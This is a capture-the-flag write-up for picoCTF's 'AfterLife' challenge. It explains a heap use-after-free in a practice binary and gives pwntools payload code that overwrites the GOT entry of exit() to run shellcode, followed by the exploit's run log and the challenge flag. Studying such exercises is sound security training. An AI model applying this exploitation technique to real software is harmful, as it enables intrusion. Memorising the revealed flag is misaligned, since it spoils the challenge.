AfterLife

Problem

Just pwn this program and get a flag. It's also found in /problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215 on the shell server. Source.

Solution

  1. This problem is nearly identical to the "SecondLife" challenge. I recommend reading that write-up first since it covers the concepts needed to understand the following steps. Compared to "SecondLife," instead of freeing the first chunk twice, this program simply writes to the first chunk on lines 32 and 33 after it has been freed on line 29. This is known as a use-after-free exploit. The setup is exactly the same as the double-free exploit. The call to malloc() on line 34 replaces the GOT address of exit() with the address of the shellcode, and the call to exit() on line 35 invokes the shellcode.

  2. Use-after-free vulnerability:

     free(first); // <-- 'first' is freed
     free(third);
     fifth=malloc(128);
     puts("you will write on first after it was freed... an overflow will not be very useful...");
     gets(first); // <-- 'first' is used
  3. We can use the same payload code as before:

     shell_code = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"])))
     payload = p32(exe.got["exit"] - 12) + p32(address + 8) + shell_code

    We add 8 bytes to address (which is the base address of the first buffer) since that's where we located our shellcode, right after p32(exe.got["exit"] - 12) + p32(address + 8).

  4. Note: Line 25 in this challenge is different than in "SecondLife". fgets(first, LINE_BUFFER_SIZE, stdin); was changed to strncpy(first,argv[1],LINE_BUFFER_SIZE);. So we need to specify and argument to the process when we launch it from the command line to get past line 25. Previously we just sent a single enter since fgets was used instead of strncpy.

  5. Run the script.py python script.py USER=<username> PASSWORD=<password>:

     [*] '~/Documents/PicoCTF/Binary Exploitation/AfterLife/vuln'
         Arch:     i386-32-little
         RELRO:    Partial RELRO
         Stack:    Canary found
         NX:       NX disabled
         PIE:      No PIE (0x8048000)
         RWX:      Has RWX segments
     [+] Connecting to 2019shell1.picoctf.com on port 22: Done
     [*] <username>@2019shell1.picoctf.com:
         Distro    Ubuntu 18.04
         OS:       linux
         Arch:     amd64
         Version:  4.15.0
         ASLR:     Enabled
     [+] Opening new channel: 'pwd': Done
     [+] Receiving all data: Done (14B)
     [*] Closed SSH channel with 2019shell1.picoctf.com
     [*] Working directory: '/tmp/tmp.iglmDgay5w'
     [+] Opening new channel: 'ln -s /home/<username>/* .': Done
     [+] Receiving all data: Done (0B)
     [*] Closed SSH channel with 2019shell1.picoctf.com
     [*] win address: 0x8048966
     [*] exit address: 0x804d02c
     [+] Starting remote process b'/problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215/vuln' on 2019shell1.picoctf.com: pid 1695575
     [*] first address: 0x8836008
     [*] shellcode:
         00000000  eb 0c 90 90  90 90 90 90  90 90 90 90  90 90 68 66  │····│····│····│··hf│
         00000010  89 04 08 c3                                         │····│
         00000014
     [*] payload:
         00000000  20 d0 04 08  10 60 83 08  eb 0c 90 90  90 90 90 90  │ ···│·`··│····│····│
         00000010  90 90 90 90  90 90 68 66  89 04 08 c3               │····│··hf│····│
         0000001c
     [+] picoCTF{what5_Aft3r_187f3d9a}

Flag

picoCTF{what5_Aft3r_187f3d9a}

Last updated